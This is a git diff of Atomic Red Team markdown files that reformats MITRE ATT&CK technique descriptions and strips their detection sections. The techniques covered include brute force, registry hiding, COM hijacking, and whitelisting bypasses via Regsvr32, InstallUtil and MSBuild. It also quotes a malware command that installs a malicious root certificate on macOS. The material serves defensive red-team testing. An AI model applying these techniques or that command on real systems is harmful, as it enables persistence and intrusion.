+There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools) ## Atomic Tests diff --git a/atomics/T1110/T1110.md b/atomics/T1110/T1110.md index 66af0b58db..bf1ca6c6b6 100644 --- a/atomics/T1110/T1110.md +++ b/atomics/T1110/T1110.md @@ -2,25 +2,11 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1110)
Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained. -Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking) +[Credential Dumping](https://attack.mitre.org/techniques/T1003) to obtain password hashes may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking) Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) -A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) - -Detection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. - -Monitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. - -Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. - -Platforms: Linux, macOS, Windows - -Data Sources: Authentication logs - -Permissions Required: User - -Contributors: John Strand
+A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) ## Atomic Tests diff --git a/atomics/T1112/T1112.md b/atomics/T1112/T1112.md index 9382b02dbb..89c69c7b46 100644 --- a/atomics/T1112/T1112.md +++ b/atomics/T1112/T1112.md @@ -2,23 +2,11 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1112)
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution. -Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples). +Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples). -The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication. +Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reg)hide NOV 2006 Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017) -Detection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. - -Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis. - -Platforms: Windows - -Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters - -Defense Bypassed: Host forensic analysis - -Permissions Required: User, Administrator, SYSTEM - -Contributors: Bartosz Jerzman, Travis Smith, Tripwire
+The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication. ## Atomic Tests diff --git a/atomics/T1113/T1113.md b/atomics/T1113/T1113.md index eaa98b7943..01bf29ce9e 100644 --- a/atomics/T1113/T1113.md +++ b/atomics/T1113/T1113.md @@ -2,19 +2,13 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1113)
Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. -===Mac=== +### Mac On OSX, the native command screencapture is used to capture screenshots. -===Linux=== +### Linux -On Linux, there is the native command xwd. (Citation: Antiquated Mac Malware) - -Detection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment. - -Platforms: Linux, macOS, Windows - -Data Sources: API monitoring, Process monitoring, File monitoring
+On Linux, there is the native command xwd. (Citation: Antiquated Mac Malware) ## Atomic Tests diff --git a/atomics/T1115/T1115.md b/atomics/T1115/T1115.md index 23206251e0..d19b23f976 100644 --- a/atomics/T1115/T1115.md +++ b/atomics/T1115/T1115.md @@ -2,19 +2,13 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1115)
Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. -===Windows=== +### Windows Applications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) -===Mac=== +### Mac -OSX provides a native command, pbpaste, to grab clipboard contents (Citation: Operating with EmPyre). - -Detection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity. - -Platforms: Linux, macOS, Windows - -Data Sources: API monitoring
+OSX provides a native command, pbpaste, to grab clipboard contents (Citation: Operating with EmPyre). ## Atomic Tests diff --git a/atomics/T1117/T1117.md b/atomics/T1117/T1117.md index 81304f496c..c6c237aea5 100644 --- a/atomics/T1117/T1117.md +++ b/atomics/T1117/T1117.md @@ -6,21 +6,7 @@ Adversaries may take advantage of this functionality to proxy execution of code Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) -Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016) - -Detection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016) - -Platforms: Windows - -Data Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry - -Defense Bypassed: Process whitelisting, Anti-virus - -Permissions Required: User, Administrator - -Remote Support: No - -Contributors: Casey Smith +Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016) ## Atomic Tests diff --git a/atomics/T1118/T1118.md b/atomics/T1118/T1118.md index aebf19e91e..7260d0f869 100644 --- a/atomics/T1118/T1118.md +++ b/atomics/T1118/T1118.md @@ -2,21 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1118)
InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. -Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - -Detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed. - -Platforms: Windows - -Data Sources: Process monitoring, Process command-line parameters - -Defense Bypassed: Process whitelisting - -Permissions Required: User - -Remote Support: No - -Contributors: Casey Smith, Travis Smith, Tripwire
+Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) ## Atomic Tests diff --git a/atomics/T1119/T1119.md b/atomics/T1119/T1119.md index bd83a0e88c..f4ff6359c0 100644 --- a/atomics/T1119/T1119.md +++ b/atomics/T1119/T1119.md @@ -1,18 +1,8 @@ # T1119 - Automated Collection ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1119) -
Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. +
Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. -This technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files. - -Detection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Process command-line parameters, Data loss prevention - -Permissions Required: User - -System Requirements: Permissions to access directories and files that store information of interest.
+This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.
## Atomic Tests diff --git a/atomics/T1121/T1121.md b/atomics/T1121/T1121.md index 5f1d26d808..cb09261a7b 100644 --- a/atomics/T1121/T1121.md +++ b/atomics/T1121/T1121.md @@ -2,21 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1121)
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) -Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - -Detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed. - -Platforms: Windows - -Data Sources: Process monitoring, Process command-line parameters - -Defense Bypassed: Process whitelisting - -Permissions Required: User, Administrator - -Remote Support: No - -Contributors: Casey Smith
+Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) ## Atomic Tests diff --git a/atomics/T1122/T1122.md b/atomics/T1122/T1122.md index eb3d5540fd..f8705dddab 100644 --- a/atomics/T1122/T1122.md +++ b/atomics/T1122/T1122.md @@ -1,18 +1,6 @@ # T1122 - Component Object Model Hijacking ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1122) -
The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. - -Detection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. - -Platforms: Windows - -Data Sources: Windows Registry, DLL monitoring, Loaded DLLs - -Defense Bypassed: Autoruns Analysis - -Permissions Required: User - -Contributors: ENDGAME
+
The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
## Atomic Tests diff --git a/atomics/T1123/T1123.md b/atomics/T1123/T1123.md index fc792f9ee6..a15b88ccd6 100644 --- a/atomics/T1123/T1123.md +++ b/atomics/T1123/T1123.md @@ -2,17 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1123)
An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. -Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later. - -Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. - -Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data. - -Platforms: Linux, macOS, Windows - -Data Sources: API monitoring, Process monitoring, File monitoring - -Permissions Required: User
+Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later. ## Atomic Tests diff --git a/atomics/T1124/T1124.md b/atomics/T1124/T1124.md index 57afaae400..018d215ec0 100644 --- a/atomics/T1124/T1124.md +++ b/atomics/T1124/T1124.md @@ -2,15 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1124)
The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service) -An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting. - -Detection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software. - -Platforms: Windows - -Data Sources: Process monitoring, Process command-line parameters, API monitoring - -Permissions Required: User
+An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting. ## Atomic Tests diff --git a/atomics/T1126/T1126.md b/atomics/T1126/T1126.md index 0e78144f99..4093e6934c 100644 --- a/atomics/T1126/T1126.md +++ b/atomics/T1126/T1126.md @@ -1,20 +1,8 @@ # T1126 - Network Share Connection Removal ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1126) -
Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) +
Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) -Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. - -Detection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity. - -Platforms: Windows - -Data Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs - -Defense Bypassed: Host forensic analysis - -Permissions Required: User, Administrator - -System Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.
+Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
## Atomic Tests diff --git a/atomics/T1127/T1127.md b/atomics/T1127/T1127.md index 5a8f0dd386..5a469c5213 100644 --- a/atomics/T1127/T1127.md +++ b/atomics/T1127/T1127.md @@ -2,25 +2,25 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1127)
There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions. -===MSBuild=== +### MSBuild MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) -===DNX=== +### DNX The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass) -===RCSI=== +### RCSI The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass) C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass) -===WinDbg/CDB=== +### WinDbg/CDB WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft. @@ -28,31 +28,11 @@ An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft. -===Tracker=== +### Tracker The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking) -An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe) - -Detection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. - -Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. - -Platforms: Windows - -Data Sources: Process monitoring - -Defense Bypassed: Application whitelisting - -Permissions Required: User - -System Requirements: MSBuild: .NET Framework version 4 or higher -DNX: .NET 4.5.2, Powershell 4.0 -RCSI: .NET 4.5 or later, Visual Studio 2012 - -Remote Support: No - -Contributors: Casey Smith, Matthew Demaske, Adaptforward
+An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe) ## Atomic Tests diff --git a/atomics/T1128/T1128.md b/atomics/T1128/T1128.md index b13d616633..36a7591728 100644 --- a/atomics/T1128/T1128.md +++ b/atomics/T1128/T1128.md @@ -4,19 +4,7 @@ Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence) -Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon) - -Detection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence) - -Platforms: Windows - -Data Sources: Process monitoring, DLL monitoring, Windows Registry - -Permissions Required: Administrator, SYSTEM - -System Requirements: netsh - -Contributors: Matthew Demaske, Adaptforward +Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon) ## Atomic Tests diff --git a/atomics/T1130/T1130.md b/atomics/T1130/T1130.md index 821e57764e..7f5938ff6b 100644 --- a/atomics/T1130/T1130.md +++ b/atomics/T1130/T1130.md @@ -8,29 +8,7 @@ Atypical root certificates have also been pre-installed on systems by the manufa Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017) -In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018) - -Detection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017) - -Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) -*18F7C1FCC3090203FD5BAA2F861A754976C8DD25 -*245C97DF7514E7CF2DF8BE72AE957B9E04741E85 -*3B1EFD3A66EA28B16697394703A72CA340A05BD5 -*7F88CD7223F3C813818C994614A89C99FA3B5247 -*8F43288AD272F3103B6FB1428485EA3014C0BCFE -*A43489159A520F0D93D032CCAF37E7FE20A8B419 -*BE36A4562FB2EE05DBB3D32323ADF445084ED656 -*CDD4EEAE6000AC7F40C3802C171E30148030C072 - -Platforms: Linux, Windows, macOS - -Data Sources: SSL/TLS inspection, Digital Certificate Logs - -Defense Bypassed: Digital Certificate Validation - -Permissions Required: Administrator, User - -Contributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire, Red Canary, Matt Graeber, @mattifestation, SpecterOps +In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018) ## Atomic Tests diff --git a/atomics/T1132/T1132.md b/atomics/T1132/T1132.md index c6f67da43f..9f78715667 100644 --- a/atomics/T1132/T1132.md +++ b/atomics/T1132/T1132.md @@ -1,18 +1,6 @@ # T1132 - Data Encoding ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1132) -
Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip. - -Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - -Platforms: Linux, macOS, Windows - -Data Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis - -Permissions Required: User - -Requires Network: Yes - -Contributors: Itzik Kotler, SafeBreach
+
Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
## Atomic Tests diff --git a/atomics/T1134/T1134.md b/atomics/T1134/T1134.md index fd47b9484a..d800911d97 100644 --- a/atomics/T1134/T1134.md +++ b/atomics/T1134/T1134.md @@ -1,38 +1,20 @@ # T1134 - Access Token Manipulation ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1134) -
Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. (Citation: Microsoft runas) +
